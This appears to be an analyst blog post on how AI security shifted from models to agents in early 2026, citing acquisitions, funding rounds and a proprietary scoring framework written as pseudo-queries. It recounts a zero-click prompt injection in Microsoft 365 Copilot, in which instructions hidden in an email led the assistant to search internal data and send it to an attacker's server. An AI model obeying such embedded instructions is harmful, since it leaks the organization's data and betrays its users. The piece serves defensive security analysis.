The Zero-Click Moment

The Insight

On March 9, 2026, OpenAI announced its acquisition of Promptfoo, an AI security startup whose tools are used by more than 25% of Fortune 500 companies. The same day, OpenAI launched Codex Security for agent code vulnerability scanning. Promptfoo’s technology would be integrated into OpenAI Frontier, the enterprise platform for AI agents that launched in February with customers including Uber, State Farm, Intuit, and Thermo Fisher Scientific.[1][2]

The next day, Kevin Mandia — the founder of Mandiant, which he sold to Google for $5.4 billion — launched Armadin with a record-breaking $189.9 million combined seed and Series A. The round was led by Accel, with participation from GV (Google Ventures), Kleiner Perkins, Menlo Ventures, and In-Q-Tel, the CIA’s venture arm. Armadin builds autonomous AI agents that simulate real-world attacks at machine speed. Mandia had hired 60 employees in six months and was already working with Fortune 100 companies.[3][4]

These weren’t isolated moves. They were responses to a threat that had already been demonstrated. In June 2025, Microsoft disclosed a zero-click prompt injection vulnerability in Microsoft 365 Copilot. Researchers embedded instructions inside an email. Without the user clicking anything, the AI assistant executed the hidden commands while analyzing the message, searched internal organizational data, and transmitted it to an attacker’s server. Simply receiving an email was enough to trigger exploitation.[5]

This is the inflection point. In 2025, AI security meant model safety — RLHF alignment, output filters, guardrails. In 2026, AI agents call tools, access databases, send emails, execute code, and interact with enterprise systems. The attack surface is no longer the model. It’s everything the model can reach.

The 48-Hour Convergence

The Paradigm Shift

The shift from model security to agent security is categorical, not incremental. It changes what “AI risk” means in enterprise deployments.

The zero-click Copilot vulnerability is the proof case. An AI assistant with access to an enterprise’s email, documents, and databases can be weaponized by simply sending it a message with hidden instructions. The LLM cannot distinguish between commands and data — a fundamental architectural limitation that the UK’s National Cyber Security Centre has warned is inherently difficult to prevent.[5]

This is why both sides of the market moved simultaneously. OpenAI acquired Promptfoo because Frontier’s AI agents create the attack surface that Promptfoo’s tools test. Mandia launched Armadin because autonomous AI attackers demand autonomous AI defenders. The security stack for AI agents doesn’t exist yet — and both builders and defenders know it.

The 6D At-Risk Cascade

The cascade originates in D5 (Quality) — the attack surface IS the quality dimension. AI agents that access enterprise systems create vulnerabilities that didn’t exist before. The cascade flows through all six dimensions because agent security touches every aspect of enterprise operations.

DRIFT Calculation

Methodology (90): The threat model is exceptionally well-understood. Mandia has 30 years of incident response experience including SolarWinds. Microsoft demonstrated the zero-click vulnerability in controlled testing. Promptfoo’s attack simulation framework is already in production at 25% of the Fortune 500. The offensive security community knows exactly what these vulnerabilities look like. Performance (35): The defensive infrastructure barely exists. Most enterprises have no agent-specific security testing in their CI/CD pipelines. No regulatory framework governs AI agent security. The talent pool for agent security engineering is less than a year old. The gap is wider than the standard 50 because the methodology side is more advanced than usual.

FETCH Decision

FETCH = Chirp (60.33) × DRIFT (55) × Confidence (0.88) = 2,920 → EXECUTE — HIGH PRIORITY

Confidence at 0.88 reflects primary sources from OpenAI official blog, Bloomberg, CNBC, TechCrunch, SecurityWeek, Security Boulevard, THE ELEC (detailed technical analysis of prompt injection mechanics), and Futurum Group enterprise analysis. DRIFT adjusted to 55 (Methodology 90, Performance 35) based on Mandia’s exceptional domain expertise and the demonstrated zero-click proof of concept.

-- The Zero-Click Moment: 6D At-Risk Cascade
-- AI Agent Security Convergence Q1 2026

FORAGE zero_click_moment
WHERE type = "at-risk"
  AND sector = "ai-agent-security"
  AND attack_surface_shift = true
  AND zero_click_demonstrated = true
ACROSS D5, D1, D3, D6, D4, D2
DEPTH 3
SURFACE cascade_map

DRIFT cascade_map
METHODOLOGY 90  -- Mandia 30yr experience, zero-click demonstrated, 25% F500 adoption
PERFORMANCE 35  -- no regulatory framework, no CI/CD agent security, talent pool <1yr old

FETCH cascade_map
THRESHOLD 1000
ON EXECUTE CHIRP at_risk "AI agent security emerged as a category in 48 hours. Attack surface shifted from models to everything models can reach. Defenses don't exist yet."

SURFACE analysis AS json

Key Insights